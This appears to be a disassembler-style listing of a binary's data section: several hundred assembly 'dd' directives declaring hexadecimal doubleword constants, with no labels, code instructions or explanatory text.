dd 4CA9FE7Bh, 8AA09C35h, 0F703F0C8h, 0E722521Fh, 50F0DE1Ah dd 0AC34B7F6h, 434C0F18h, 950C328h, 1C138387h, 0FC0C1E70h dd 88B2D946h, 0AB21F0A7h, 8E60B091h, 0C1B1E9FCh, 209C4729h dd 0D73C5CABh, 0C6797C15h, 0F4670A80h, 0AD09E4D4h, 0E0041C91h dd 0C0FAE286h, 0E6EE07A9h, 9260234Eh, 3B42636Ah, 1C75058Bh dd 6015A9C7h, 0FC10DC60h, 7452E22Ch, 0E1492700h, 661AE34Eh dd 381D404Bh, 49403535h, 0EC65D828h, 258EE9Fh, 5DC72326h dd 34B88B85h, 6A10B27Fh, 0E70930ECh, 0E887A7BBh, 70AC4ABFh dd 51E8602Bh, 3C0F454h, 1459C248h, 14B06A1Dh, 0E0F4F50Fh dd 61B29423h, 4EA7392Fh, 97B89217h, 4FF40C3Dh, 0CAA42CF3h dd 636089F4h, 5D1E9C1Ch, 59714833h, 104CC167h, 4C4308DDh dd 70624DFh, 3A481FB0h, 0DC52ECCAh, 4A3FAAC0h, 890A86Ah dd 78A0272Ch, 69581426h, 6FD61896h, 39C75825h, 95A9C015h dd 86D58050h, 0DF836D98h, 6AFFC850h, 10367770h, 18BAB091h dd 34A89C87h, 0C9948023h, 707408C2h, 0C66F0018h, 7B1575A9h dd 0CE3CA890h, 0EB7782FAh, 30A702A2h, 1C64B401h, 2CCDF8B8h dd 1C038D1Dh, 10E824D5h, 0BF8DA015h, 82D720B9h, 1F1D4712h dd 7397A438h, 0E9E462F3h, 0E0402A67h, 60D1D854h, 0AEF4C050h dd 80A65002h, 70904C07h, 0E44B432Eh, 9049D978h, 2731C0BEh dd 431A2BACh, 23A0A062h, 0B45C6035h, 1F99789Ah, 1F8F2AA3h dd 1A25C143h, 30B72463h, 48B0CA28h, 77816CA5h, 1F7BE69Ch dd 8373C700h, 1863B900h, 69D4D5D2h, 5818B80Bh, 540C386Ch dd 0CC701ACFh, 57E9FFE1h, 44CC412Ah, 29608AC4h, 1D0CDC24h dd 638080F3h, 2704984Dh, 0E658C3C1h, 28014CC1h, 86AE1884h dd 0D88C10h, 0FEE154D5h, 9B89F4ACh, 47B6A4A1h, 2915D3F4h dd 98925828h, 0F609899h, 0A8DB9B08h, 50D3E794h, 626D8415h dd 5C140885h, 64496CC1h, 88A38E94h, 9481BBA2h, 84284D23h dd 8C272E60h, 0E00CC8Bh, 97B7C1B3h, 6C019BAEh, 2893C518h dd 0C8D10A4Fh, 2368CCh, 24320DBFh, 94D6353Fh, 2610807h dd 0D7302895h, 3A6BFF23h, 3702251Dh, 0E01F4D56h, 0AAA0F443h dd 1E00221Ch, 0AE51FDAFh, 3D4E632h, 3AA930DAh, 78007645h dd 93C65E4Ch, 105F2588h, 0C140832h, 88112B7Fh, 31BE0282h dd 0C70C84E8h, 34438A82h, 467128A0h, 3C03E174h, 0E4AC9C2Dh dd 3A481D68h, 0F9C80C69h, 0DD30E810h, 784FB05Dh, 8088005Eh dd 0B1C9BD58h, 491EBEF3h, 0E907ACA0h, 0A9C14E7Dh, 89E09D91h dd 0D4D20315h, 0D5E7C749h, 0E38639A1h, 18031CE3h, 0E2B1BA69h dd 0A71FDB92h, 0C1426EA3h, 8BC7212h, 20439318h, 3B0B4E7h dd 74863Eh, 0E45A63B2h, 0F81D79F2h, 0A29C3132h, 8FA79180h dd 3A82F78h, 3C367969h, 0C408F18h, 16C07560h, 0B8B2E3C6h dd 72E20798h, 4607317Bh, 5210889Bh, 0DD19AB01h, 0F22A08B0h dd 18364A03h, 89C3378h, 92F0967Dh, 0E3830D02h, 8F105952h dd 0F88D48Ch, 0AB3689h, 0D3BC8E49h, 76A53A69h, 0BA1F290Ch dd 0B67C0710h, 91634901h, 8B05C9D4h, 93A79840h, 1D6919D5h dd 87566899h, 38807278h, 38831285h, 2086A1E5h, 644E488Ch dd 58C33B70h, 0E053DCC9h, 0C65FBC09h, 80FF818h, 0E01B2531h dd 9C411CE5h, 28802713h, 0C9D5EDA7h, 0E30A8A0Fh, 8CB877D2h dd 12085F19h, 0F2F085C5h, 0E1020738h, 4F048352h, 0FC10350Dh dd 0F8C00D15h, 9D4FEBEh, 7E69C059h, 23F24B01h, 3FF00374h dd 68747200h, 1237D010h, 0C1BE0041h, 24A7C878h, 1500BAA4h dd 7255678Bh, 56656EBh, 5B29BD0Ah, 41E8097Fh, 54492C01h dd 0AA2420D1h, 0EDC09862h, 2CA08A83h, 0E0E5298Ah, 1EB65204h dd 0AF152083h, 0F3A1C38Fh, 43D6C7E3h, 38A64920h, 0F0748418h dd 0C90CDC3h, 0F238B461h, 8841C7E1h, 72F0CA41h, 80A7639Eh dd 981D37BEh, 0A989F270h, 482C02A4h, 268C48EBh, 9C30C9C5h dd 0C2323001h, 11088CB1h, 0C3FF7071h, 0B0D8D2A0h, 11F90832h dd 0B2F48294h, 87FC8EE9h, 888F7318h, 77920A70h, 19890988h dd 0AAB97423h, 0C8DA883Eh, 0C9C12E2Ch, 390C743Eh, 515B32E4h dd 5240C38Ah, 81207A0h dd 8C04A4CAh, 20822A0Bh, 0BFE44948h, 6044D421h, 129AC04h dd 80696892h, 0CE50D2E8h, 43276E3h, 0C289D5E9h, 7E608124h dd 0E28837Dh, 0CD4872DFh, 0D55DEC70h, 677D2022h, 2083B612h dd 0C8CBC54h, 0C81692E9h, 0C4022AC8h, 8B7D1Ch, 6F019A9Dh dd 294E96EBh, 0E82388CAh, 0FDD53205h, 2F8EFC02h, 185C6271h dd 4A1C3Ch, 86B4D9D8h, 2AE4F6ECh, 4CC9ECA1h, 0E100F534h dd 8579F631h, 0FFC9D6ECh, 50CFE820h, 0CED1D827h, 9C148E09h dd 5486A24h, 0A9EF6A9h, 998AEC4h, 708E5C49h, 52764689h dd 7444A113h, 0B704B08Bh, 44E3041Eh, 8B84704h, 20FC9F94h dd 202D9B20h, 7AF23B90h, 9A32E112h, 67124404h, 229E78D2h dd 5E023660h, 0A3DC02AAh, 4785102h, 9894482Bh, 6FC00920h dd 0AE6A70C6h, 91E6B90h, 0DF08180Ch, 34807364h, 60F678D2h dd 48BA9274h, 2262406h, 0E0C90E74h, 0B51F1090h, 8C702026h dd 3808A4A7h, 0A9D59206h, 0EF1054ADh, 24493C20h, 0C94F025h dd 15F01ABAh, 48FEC890h, 7AE8EF63h, 0E8A019BEh, 0BED978EDh dd 0B9CC7F08h, 4004294Bh, 989A2841h, 209AB320h, 0CC303621h dd 0F4F6080Dh, 0D46924BEh, 15C18A3Ch, 0BBC80CE4h, 0CB50E640h dd 2D63B994h, 1325F7A8h, 42C6E28h, 81EC3334h, 0D3E8BE90h dd 0BFE78CC1h, 70E62CD8h, 8C4DED12h, 0DFE12841h, 0F9C9108Eh dd 0DBCEBE2Fh, 0E0363838h, 386429F8h, 0FCC74909h, 0A189D083h dd 943095A9h, 8C334848h, 27A6913h, 71B2D2B8h, 858AEC82h dd 6860B462h, 0B78324Bh, 63748EAh, 808C7091h, 0D08E2469h dd 5010C90h, 0C6078538h, 0B1E2D237h, 988A0984h, 98A68B02h dd 3602B38Dh, 4944ECDh, 0D1809094h, 16C8810Eh, 6E2C241Ch dd 0CC70E163h, 428029DCh, 885A8E2Ch, 0C16B1C44h, 20CB7600h dd 3A4812B0h, 0C3490918h, 0C9008219h, 3B74417Ch, 0CCF204Ch dd 0AFB12DF5h, 6F245698h, 46141CCCh, 0FAA90D9Ch, 39CDE03Ah dd 15A54820h, 44C87498h, 0F4FD6780h, 48C2BD13h, 4CA25B6h dd 130CC5F2h, 2DA049B0h, 0CAE9E004h, 0E3010264h, 3260FBBh dd 400A3896h, 940405D2h, 0F9195BC0h, 3CB54DD7h, 9AC6824h dd 0F4021FD2h, 60405FF2h, 0B2623492h, 4060C218h, 0A1EB6244h dd 8C24468Ch, 16C8B018h, 0D7D0592h, 0E0182CB4h, 28C88936h dd 6D520B9Ch, 59E9F402h, 14698881h, 26D46058h, 2E44A34Ch dd 5F880801h, 8746094Fh, 91D1E485h, 208ABFECh, 0CF583928h dd 1FB70BCCh, 2FD01636h, 0D4707001h, 7AD68080h, 4FC09050h dd 0B8F4E1E0h, 0BE241CB2h, 0FF12A096h, 8A9800Dh, 22020C4Eh dd 76692FFCh, 0DD36BC60h, 0DE3AF8B2h, 0C1C05268h, 4BA8766h dd 0F1160424h, 1822E3D1h, 542698C0h, 7680B279h, 0D3A20961h dd 14812AA9h, 8989E872h, 56E18F0h, 20333CB0h, 94329183h dd 9656698Ah, 0DBC909ACh, 2D0F2C1Eh, 82B24F08h, 0AFB6D603h dd 70DE02D0h, 0DC7CB8BDh, 2E8C01FDh, 96D602D9h, 4BC871F9h dd 616A0024h, 0DD8B0DB6h, 73F628EDh, 355230DCh, 8CF14990h dd 0FC5CE9E8h, 2B767CA8h, 1A33DEC4h, 0C603F08Eh, 3F9E2807h dd 9B49A871h, 0C1540228h, 0C0F4F2E5h, 0BA39E9F8h, 958C2808h dd 705F4CE8h, 0A17E3C74h, 78F7597Ch, 2CE06A24h, 7E42ABCh dd 85E76BAh, 70045989h, 1904A03Dh, 98E9DC9Ah, 0B220E8E9h dd 60256634h, 1226180Fh, 9A98C009h, 0E9236419h, 683057EDh dd 51E9075Bh, 81983BE1h, 87AD84F0h, 2B546408h, 23552482h dd 44E034EFh, 0A4F832B1h, 6C800878h, 7DAE80ECh, 0EFF10082h dd 0E8AD1384h, 0D84F01C4h, 6455A6Ch, 42BE60E2h, 79E7CB48h dd 0E03E7BE8h, 219B0E0Bh, 3C3C9F0Ah, 0DDB84A08h, 0DE1BCB06h dd 0ED6F3809h, 15618608h, 1C18F410h, 0B0599BE1h, 0EF80C150h dd 0A876E41Dh, 0A64EA406h, 84494008h, 0E1009279h, 0E211347Bh dd 0C05DF41Bh, 6CA20450h, 29402A9Ah, 18CE740Ah, 3039171Bh dd 0BBF8C1F1h, 0FB187560h, 0F0CBFA52h, 78B666A0h, 9B14589Ch dd 38A4288Ch, 0C2F8F82Dh, 0E0A82E50h, 64EFAA06h, 0E610185Ah dd 29A4A07Eh, 31E4F035h, 45183311h, 87C4F0E3h, 0C8B8EA50h dd 3A7F5D00h, 7A829D6Dh, 59A30799h, 41A0ED44h, 8F9FC064h dd 7E769C18h, 0CFE92103h, 32D1F82Ah, 0FE256h, 0D2F18E0h dd 8AC3E8FAh, 149BCB2Bh, 5A7C6800h, 0DAE1807h, 4B66C8E4h dd 9A1418F8h, 259ED324h, 28E4AD00h, 0AECBBA1Ah, 0A141EF14h dd 50801A8Eh, 0CBB89908h, 0D3521CFBh, 24CE8218h, 0BFE3D8h dd 0B5C46858h, 0E2F63BCBh, 403AA4A1h, 14E8DBD8h, 314898F3h dd 0E946F018h, 0C55445F0h, 9335510h, 502308C4h, 3001063Ah dd 0DA821985h, 0BBE0EBD4h, 164829h, 7F081571h, 388E487Ah dd 68DC87A3h, 1E48C00Ah, 0DD05F8D5h, 1453D2AFh, 4EAEC03h dd 0A828256Ch, 6A5BE081h, 0B70889E5h, 0E81C03C3h, 57C0240Eh dd 87440A8Ch, 0D91A0ADCh, 0E4A407E4h, 123A8230h, 19B64498h dd 12A70822h, 14E18688h, 0E4400D4Ch, 603463B4h, 18327C44h dd 40A8615Fh, 0A01E24C4h, 50F66484h, 7F5EA893h, 1AC42971h dd 4DAC8134h, 21E475h, 0A0C2CAE8h, 0A01743A4h, 0A065D294h dd 0E13C1E0h, 0EECFA7Fh, 18F3DA83h, 2814C829h, 651C7681h dd 0C80117E3h, 0E45B036Dh, 9AD09B00h, 0A8A5BA82h, 0E69CF601h dd 280119ABh, 0F084C6C0h, 0BB008247h, 0C406E5C2h, 0DC857802h dd 80D4EE81h, 24203B65h, 10205308h, 90DCA800h, 0F99D09CBh dd 0E060687Dh, 447B2160h, 0ACA129A4h, 0C030148h, 70777AE8h dd 6330483Ch, 14FCC8E7h, 0BDD8A57Fh, 0BD757306h, 0A83F600Ch dd 0DBCB8990h, 0DF60226Bh, 30F44276h, 5CEBB67Ch, 1272933Ah dd 24C88F9h, 7F779B98h, 0EDE76440h, 4C1BE8A1h, 1D08B238h dd 9208A7Ch, 0C802F8E8h, 0C8615E1Bh, 3CC4AE4h, 769AB646h dd 0C8680CC5h, 0DFD04BA2h, 80859C98h, 110BDE81h, 3084B9E9h dd 0C3C64B28h, 68137878h, 5C066DBBh, 23700E44h, 0B2851204h dd 20050573h, 84056C08h, 0C81225Bh, 0C820D144h, 7B54AC1Bh dd 830C15E5h, 811AD43Fh, 8014A850h, 92EB1A04h, 480210E5h dd 1494579Fh, 0EE68221Dh, 0A8260B10h, 78DB95D4h, 955D3E80h dd 28C4118Ah, 0A480A288h, 2E39B3CAh, 75F528h, 297AAA4Dh dd 0F900E42Ch, 0E8988F11h, 866873h, 26565D64h, 0CB6CEBFBh dd 879C130h, 0F06F85C6h, 708D740Dh, 951006Bh, 0E96566DEh dd 691E7882h, 1143C6DAh, 0CEC7024h, 7C080B40h, 18A69208h dd 4DBDAF00h, 2478426Ah, 7C7E50h, 1523CF2Bh, 8C6F4B6Ch dd 4FD9008Ch, 45F14807h, 9E533024h, 1B007C28h, 0F5AE04A0h dd 0C701024h, 0CAEF2BA4h, 9D506F58h, 6E316BDEh, 7ECC08B3h dd 7CB2E9E3h, 99F1E600h, 4474A9FEh, 822DAE0Fh, 0EB200784h dd 0EA8FEEC1h, 6418A3h, 0A126F80Eh, 2403EBCEh, 2B1199F0h dd 1858AE2Fh, 707F3ACBh, 0EFC2C9Ah, 8231431h, 508978DFh dd 987ADFAh, 0CF8417BEh, 0F9F806Eh, 2B856A27h, 0CE847061h dd 0CD636D60h, 4C46D071h, 0E8624960h, 5098014Fh, 0FB00FFC5h dd 278CDB7Ah, 0A04C21B0h, 147DE48Ch, 1893AB6Ch, 7E1295C0h dd 60C6C8F7h, 85C8F390h, 537981F8h, 0DE2ABE39h, 14582006h dd 0F808646Fh, 0D87BD7E1h, 88C1CBD0h, 6272C250h, 7FDA405Ch dd 0CD3320B8h, 0AF5E3014h, 14952990h, 0C1DA1981h, 508DCD46h dd 1C288B10h, 470C0F54h, 28DC504Bh, 39A515F0h, 0F1C05062h dd 0C1E2AC97h, 0C8A3D080h dd 7050EB28h, 86343079h, 757AB0F9h, 0BC8B6229h, 44551F40h dd 28D26132h, 4A713C90h, 1EE60078h, 0CEF00A3Dh, 8DBF0054h dd 0AC9AAF4Fh, 5100BA9Bh, 265A3C58h, 5C2B44EDh, 550F2D53h dd 0BDA5C8DFh, 0BB1460FAh, 0E890EBC9h, 407F50CEh, 0A1ABD9Bh dd 24F40064h, 652A2ED3h, 0C5E83689h, 0FC3C13Ch, 84926EE5h dd 770AD05h, 0D1006A99h, 9F54D031h, 30BDF85Bh, 0DA58C69Ah dd 8C6A639h, 350BAFBh, 4F46179h, 25C0BBE5h, 85F8BF1Ah dd 105D4231h, 898C278h, 3145786Ch, 7D38D152h, 0A9A3DD08h dd 7E82393Fh, 0A17AAF0Eh, 52DE4C98h, 0E9451030h, 0CA88045Fh dd 6014A080h, 42CC631Bh, 0FF504561h, 8094C6CAh, 83DD14AAh dd 0D60E570Ah, 971F5001h, 35A4F446h, 1852504Ch, 51C2EBABh dd 0F65241BFh, 1DE8803Ch, 804F69A6h, 0FF5034DFh, 0AD504BBCh dd 8C23DB4h, 629C5145h, 0D483059h, 942230DCh, 0CF997F69h dd 211DB8C1h, 9C4A95CAh, 67F1473h, 0A480D4DBh, 0CE449BD8h dd 3ABD5015h, 7B658030h, 97FEF6E8h, 9E1576D8h, 0C1789B25h dd 0CE3E7978h, 755FC851h, 0BDAE9D10h, 0B2605491h, 0C0DC7E86h dd 0CE5FF89h, 2C911AAFh, 0FBC06D41h, 18D9CE80h, 4731019Dh dd 0D3C5C200h, 752B575Ah, 9AE600BAh, 7356FE33h, 7D021F2Fh dd 2255B791h, 0F0149BC7h, 63AFB2BEh, 0F7DD504Ah, 28A2282Bh dd 80887409h, 18DAB070h, 28A065BDh, 54286002h, 697D537Ch dd 1D1F2E00h, 22EA2C82h, 0C208C1E5h, 5CFFD6D3h, 430CF844h dd 3819AF70h, 288E63FDh, 313872A2h, 74EAAB89h, 0CA403B81h dd 38801852h, 475B715Dh, 0DA523262h, 2FCE0614h, 0E8993DF7h dd 0F4940078h, 0F8B225C2h, 2F0AA6E2h, 1C3642EAh, 0CD2D2660h dd 0F89D8931h, 0C205F84Bh, 15CA0C92h, 284E1860h, 8A750DDh dd 908B66CCh, 411809B9h, 751040C4h, 0A0A13C46h, 94FEF80h dd 0F399D580h, 256BC300h, 4AF1B7E7h, 36BD2407h, 0CA40080h dd 612A214h, 349040C0h, 58F740BAh, 9C0FFD55h, 4C8F86BBh dd 0AA260F00h, 59060C58h, 0A62C493Dh, 71EF881h, 640ED3B6h dd 15D570F9h, 0C7E6FCD0h, 1D3BB100h, 3C2E9985h, 0AAC118F3h dd 0BCFD38CDh, 0EE6BB700h, 65E1892h, 444D0C9Eh, 0DC59B5C3h dd 0F2894C00h, 0F6408414h, 9CE074h, 0B32E578Eh, 3EEA64BAh dd 0D5F4C9EEh, 0D3D9B203h, 0C8144Ah, 0BE220341h, 1B8C167Eh dd 0A41E05F2h, 0C88068E1h, 41762CBBh, 886B00EDh, 0EE102E2Dh dd 0C03B3085h, 0E53E34h, 0EC546E69h, 393303h, 605241E2h dd 0CD086A98h, 261FD200h, 5FEFF0B0h, 32D00C84h, 0E568BC17h dd 89FDE904h, 804576h, 0F888799h, 0A544850Eh, 91DFC066h dd 3163B600h, 729D7C4Ch, 8EEF00F9h, 498F5822h, 0EA1F99ACh dd 0FC5F028Ah, 3DF20943h, 4138000Fh, 7052E3ECh, 2E038235h dd 5D2050A6h, 18F9A0A3h, 0D44B0041h, 197D158Ah, 53009491h dd 9B26CD88h, 1D127F79h, 0DA969Ah, 585A6F85h, 4D078248h dd 0B4FFE0D1h, 0DAD26E30h, 27BC0FFCh, 400F7330h, 1372D404h dd 10AE500h, 504EE09Ch, 0B2081Fh, 0F93B54DDh, 37B1F27Ch dd 0B05F0E00h, 10CE3AEh, 54DF0718h, 608F1D9Dh, 2B635767h dd 7D9F3600h, 4B52BDD7h, 301732Ah, 5509F8C4h, 18C62533h dd 5057751Eh, 4A9D8940h, 0E16BC7h, 613522A8h, 2129A43Bh dd 484F1438h, 0C607D11h, 63F7EA39h, 768B7192h, 0F8291EB5h dd 210E9AB0h, 56AD9420h, 0AB0ED144h, 83633F24h, 0F3312EA5h dd 305E887Fh, 7DB516FEh, 3917F8E0h, 46DA8090h, 0DC149608h dd 247328h, 0CDDD832h, 0D4E4E8BAh, 0AEDEEB01h, 361C5361h dd 643AF8h, 71C8457Ah, 935FD72Fh, 697B8E07h, 0C300A339h dd 3AE0E4Fh, 452942C0h, 0B0D7A4F3h, 0E966ED16h, 8095CE00h dd 0F6427D64h, 0F3BC00D1h, 0FB131425h, 0A4989D90h, 4EB68900h dd 278E0C45h, 0B4110353h, 0B719DFF2h, 8992CEA0h, 65B69E00h dd 0CE1AB60h, 7963AA9h, 0E821C430h, 7A00B4B0h, 324C425Ah dd 0DBC071h, 9D63AEFBh, 8AE7A992h, 1618E67Dh, 9B0AA4B7h dd 41860E11h, 1424B60h, 0DA433105h, 7E52EEE0h, 3C39CE63h dd 0A509F8B0h, 6D4C14B3h, 0E630D486h, 9CD637F9h, 0F3E1E300h dd 531A5C1Dh, 0B6F003Ah, 12EFC86h, 4200D075h, 4AC36A95h dd 0C7E067ADh, 900CC060h, 0AE10F75Ah, 96EE71Dh, 66CC9680h dd 3ACFBBBCh, 0E130194Eh, 0DA43D21h, 0B708AA00h, 6E3655Bh dd 0D3390048h, 0A5F2B52Fh, 33603F53h, 0A8B2D7A0h, 8E6AC041h dd 2803B15h, 80B6D938h, 86C0A4FDh, 0D60345h, 88ABB49Bh dd 0E379CEA3h, 2104E200h, 29C42063h, 6CF301C1h, 14EBF769h dd 574FCCE0h, 0C7059E1Dh, 0C02558CFh, 17CEA55Ch, 42B100C2h dd 236DEC76h, 3404506Eh, 0DC4E1E87h, 6F207EC7h, 3A89ACh dd 941A100Ah, 0DEC9D2AFh, 0DA959300h, 2711CFB2h, 5EF501D8h dd 8AA0C889h, 956AC0A5h, 4FF204A6h, 8A366D15h, 0B6D2ED0Ch dd 0E52A0030h, 712C8780h, 0E2E4E07Eh, 0ECB8C00Fh, 0AA1583ACh dd 2619106Ch, 2F4885E5h, 0CEA180Ah, 0D2C2D090h, 4322CDAEh dd 52D61136h, 0A88CD430h, 24A95E19h, 820C51C0h, 8C6009D5h dd 0A19C870h, 11C1AA62h, 6F30504Eh, 72897560h, 0CA8640Ch dd 0D3442676h, 37634271h, 0F00317Ah, 0E0B3F70Eh, 93D51C2Fh dd 14751D51h, 4480A81Fh, 0F6983997h, 9E648702h, 0A7B3FF19h dd 0EEA8B8h, 1A336EB6h, 0E796FA75h, 0DFE3398Eh, 4C3EE00h dd 36006A86h, 0ED6C8943h, 0F8AFC6h, 19802874h, 68FFCC75h dd 863FE400h, 506A6C98h, 0F6C738DCh, 0E870B130h, 950073D9h dd 0EB4CCC4Ah, 2CA162Bh, 0EDBD6977h, 4C80B3A6h, 0C011948Ch dd 0CA3CA47Fh, 3D370330h, 0BB3BBBAEh, 61ECB080h, 60F207EDh dd 0C0DC7211h, 5CD2B7FEh, 0A1E11C2Eh, 3DB6BE38h, 148F9E05h dd 7AD9C9C1h, 11F0EE9Eh, 54510A5Ah, 0E11C3752h, 0E04A2FCh dd 0C051531Ch, 849C7054h, 1201ED29h, 4AF096F3h, 6EE0A518h dd 0DD100E51h, 938CF12Ah, 8C7C22C8h, 0D4B6130Ch, 0FE6858h dd 0C46FEEB3h, 0F021A682h, 42299560h, 5477ECh, 0FE32462Ch dd 0B438C7FAh, 5F00E2E2h, 5C04E153h, 0A6011A0Ah, 6495005Ch dd 4C38BC3Dh, 9A003098h, 0B02090C7h, 0AC27Dh, 17A08022h dd 5CE83B3Ah, 29307200h, 20A28F01h, 73D181Dh, 32DE89E1h dd 8E997600h, 0FC6F68F3h, 2FDA012Ah, 3B2958BDh, 322980E3h dd 0EFC05C20h, 6F6B068Dh, 0B0CAACFBh, 5E2CCC10h, 0A23C8E8h dd 1B8A509Dh, 0E0814CA5h, 0EB8E2C99h, 1ED6830h, 5724B3A1h dd 401A5834h, 37F14B4h, 0BAA43612h, 0D4943005h, 0B140E018h dd 151E74F0h, 0CC9617A9h, 28B81400h, 0A787F552h, 2C1D8300h dd 93A1BF45h, 474C0030h, 0FD542ACBh, 6C0032C7h, 57905D3Fh dd 3CFFBBC8h, 6F34AB1h, 676EA948h, 0A3E82829h, 695D2A00h dd 0F217FB89h, 87EE00D7h, 5FA51CF9h, 220763D5h, 0B823755Dh dd 91312B80h, 30A3F05Ah, 2414E8Bh, 0EA0C25FAh, 50B2361Bh dd 0FC40075h, 0F4C83238h, 0BD28297Ch, 0D900E288h, 0B7D76EB4h dd 6C86A9h, 67BEE2FFh, 0F5DBBF40h, 89A33700h, 269432DDh dd 0E6D40378h, 2BFA6C75h, 0AAF75800h, 0D96CA5Fh, 1F3075E9h dd 0C03E78A5h, 918E15A2h, 0E1043A20h, 7902E76Ah, 0BAADB180h dd 5DDE0509h, 2A8576E3h, 24BB8644h, 0DDA30108h, 0CE4CA7A8h dd 2B6ECB7h, 0E9E04D07h, 17068E2h, 0DDF6FCh, 9C9707F7h dd 422E0ED6h, 16009AE0h dd 9F9B6AFDh, 228701h, 0AC047ED0h, 0F407C13Fh, 7BF2643Ch dd 9D479D3Bh, 59003D94h, 0DB383A0Dh, 6076FE3Ch, 16A39107h dd 0B7052F05h, 6E0A7F6h, 0AC6E9400h, 0AED77CE1h, 0B8370184h dd 0D61CC2A1h, 70A047AAh, 0DB793A39h, 720D4C00h, 16E53202h dd 442600E3h, 43B76173h, 0BF02DA7Fh, 352F2B96h, 0A442D73Ah dd 512A08A1h, 5EA9C4FDh, 72A9A4Ch, 2D1E6A3Eh, 1208D09Ah dd 49B74063h, 6B0094EBh, 2F719F28h, 24DF1FD2h, 0FE646367h dd 2783F42Ch, 0B7330600h, 9FC238h, 0A5CF5489h, 43BF8855h dd 900B478h, 4C8E246h, 481E9F5Dh, 0AF50F6h, 8EFD5E69h dd 244A8A49h, 4004E530h, 231BD352h, 9005D6B8h, 351881Eh dd 5CC1FC2Ah, 851CB2E2h, 55A4D7C8h, 256BF420h, 298873A0h dd 0C080F46Eh, 7CC168B2h, 0AAD84091h, 779DF2Ah, 2DD3E15Fh dd 72C41CE0h, 170190A6h, 1A4A228Bh, 208C11B3h, 0FB103A81h dd 8F1E14F7h, 0C341CC1Bh, 91101184h, 0C9092C03h, 71611022h dd 0A663FD10h, 16B6F0E0h, 0E85D26C6h, 1D3A0078h, 2052E748h dd 0B45C0063h, 90127860h, 40928EA5h, 0BE4EBC03h, 368F52h dd 3B47C2D0h, 2C942E9Bh, 38CDCB02h, 817DB66Bh, 4DC6D99Ch dd 0C40A112h, 574D711Fh, 67990000h, 7EAFB001h, 156939A4h dd 33D20981h, 0B0729C30h, 7B70E248h, 51543607h, 0D400A8C9h dd 812B99DEh, 0D2F60312h, 0A41201A0h, 50B9F448h, 32E36CE4h dd 5D98C554h, 0C290E449h, 0FDFBEFD3h, 402F5605h, 0D0BE2AD0h dd 0AF1AA727h, 28B14FF0h, 0FF04D0h, 1231BBBDh, 640B0AAAh dd 80DDD106h, 3A307DBh, 0A077FAF3h, 484B75E8h, 787CC08Eh dd 1047421h, 4ED75A78h, 5B48D525h, 4C4A2934h, 60C89C70h dd 4D4A68C9h, 0CE013B81h, 8F63C4E0h, 0C703085h, 0FEB9F84Ch dd 18B6616Ch, 11918BC5h, 49084EC7h, 0A7183350h, 1168E522h dd 2A8E4DE1h, 0FD2824A6h, 64280C44h, 0F91118E8h, 162A90C7h dd 9D752824h, 142C430Ch, 2A488951h, 0A5280C07h, 1B43186Dh dd 0BA21867Bh, 15AC26F6h, 51B22490h, 4AD554A5h, 880C4818h dd 8B446FB1h, 90984D32h, 6C44C9CCh, 0B18A9C1h, 0A8DDC04Ch dd 0A0B3DE78h, 81325918h, 9268F03Eh, 648065E2h, 199162A3h dd 0D01099B8h, 8A5880A1h, 0DBA99004h, 0A4D0F850h, 26C28CF5h dd 90C146h, 0BBFDB337h, 53242F70h, 0A304E8FFh, 4C801130h dd 98A35E8h, 0A8CCC4D1h, 5FEF2410h, 0E0030218h, 54A0D4E8h dd 10DDB0D9h, 3EA383Eh, 0C10EB1B2h, 424398D4h, 22EB03FBh dd 0E927A30Ah, 771DA11Eh, 0EDE26803h, 2E600CA5h, 0A8897BCEh dd 0BEA65618h, 28067EA8h, 92013Eh, 9E7503D4h, 0C079E291h dd 54401CA5h, 768AD10Ah, 58A85097h, 64820FFCh, 6C010ED5h dd 80784ADFh, 0E5622D50h, 182F5321h, 585C87CEh, 520B648Ah dd 245A7A7Eh, 3382E980h, 0FD74C081h, 0C82D5410h, 1939F0D7h dd 507BF2DFh, 0F3208E07h, 27C2E585h, 3A18141Dh, 42A88D68h dd 0E6D10033h, 0D4985BC8h, 0DBBE01F0h, 2E43B97Ch, 0D1F42038h dd 0AAE26C10h, 67477300h, 817FE425h, 79F4A900h, 0BEFC9B34h dd 0E3F60CE1h, 9AB89F2Dh, 267E7D40h, 1F302BB4h, 2E0C02Ah dd 6997CB6Ah, 5E5F1406h, 695A60h, 4B19F88Ch, 0A8C280CFh dd 0D0197362h, 3A688316h, 21807545h, 186082E6h, 2C159D8Dh dd 50563Ah, 69082795h, 3F002D41h, 0F7D6127Bh, 1B359EF6h dd 98A1C384h, 1010F5F3h, 247375FBh, 6600180h, 890A6292h dd 81BD7A03h, 0CF278739h, 0B019DEC6h, 54120114h, 86507CFEh dd 0AB5C203Bh, 2456CC2Eh, 0B20A9F9Fh, 530E8873h, 6BBB4327h dd 0FE52B013h, 9531DE2Bh, 87DE846Ah, 16022338h, 83072985h dd 0F0D5607Ah, 0BCE1B6C0h, 2518C0FBh, 626485C8h, 24F04A4Dh dd 4C637CC2h, 42FFDA71h, 0CD62C094h, 12A7705Dh, 416BBD3Bh dd 82DF6DA0h, 5A885014h, 0A0C02102h, 9BC2BADAh, 80F67845h dd 6038427Ah, 3A6714ADh, 0FB3CCBh, 0FA9EDF05h, 12D4DEF7h dd 39B521Bh, 6C2E6254h, 0E07BF8B0h, 0EF6A810Ah, 0DF008002h dd 84F72750h, 6DCB23Ah, 1FFC70E3h, 95035266h, 0C3A879D1h dd 934018F1h, 822D29BFh, 0BBA0E360h, 267EA001h, 88088E5Ah dd 0FB00E94Bh, 25E526B0h, 0DCD15CE3h, 0F16CDB05h, 0BD9802F7h dd 0C8A079E7h, 0BE5251C2h, 76E9C664h, 0AB0F086h, 0BFC08359h dd 70C65130h, 2352356Ch, 0D7921030h, 26538A09h, 76F96468h dd 7E054892h, 0BFF2607Bh, 7F0378C0h, 7F9F405h, 7DDB35BDh dd 0D0203450h, 58F4AA9Ch, 4FA1711Ch, 67B7BC84h, 0BF10D8h dd 7FF85E44h, 0F2827638h, 1270A848h, 645D4F84h, 28E18B8Ah dd 8A38A500h, 0E8F1375Bh, 50780995h, 2498FABBh, 4D009FDDh dd 6BCB43A6h, 790D08Eh, 1E038AF5h, 85FF0A8h, 0EF1EEB57h dd 17ED35Eh, 8EE1AF72h, 8C32A632h, 0C11888DDh, 67614E81h dd 5022B362h, 0C041A6CEh, 36ABEFA9h, 3053036Ch, 0A7DEE195h dd 385F60CEh, 17673B9h, 9CFF2761h, 0E86CAB48h, 5FECA303h dd 0CB93A70Fh, 0AAF36419h, 484C2CB2h, 0C8364EA1h, 0DA3972B4h dd 0D2D13A4Ch, 550D0DECh, 0E5D93149h, 0D3A85841h, 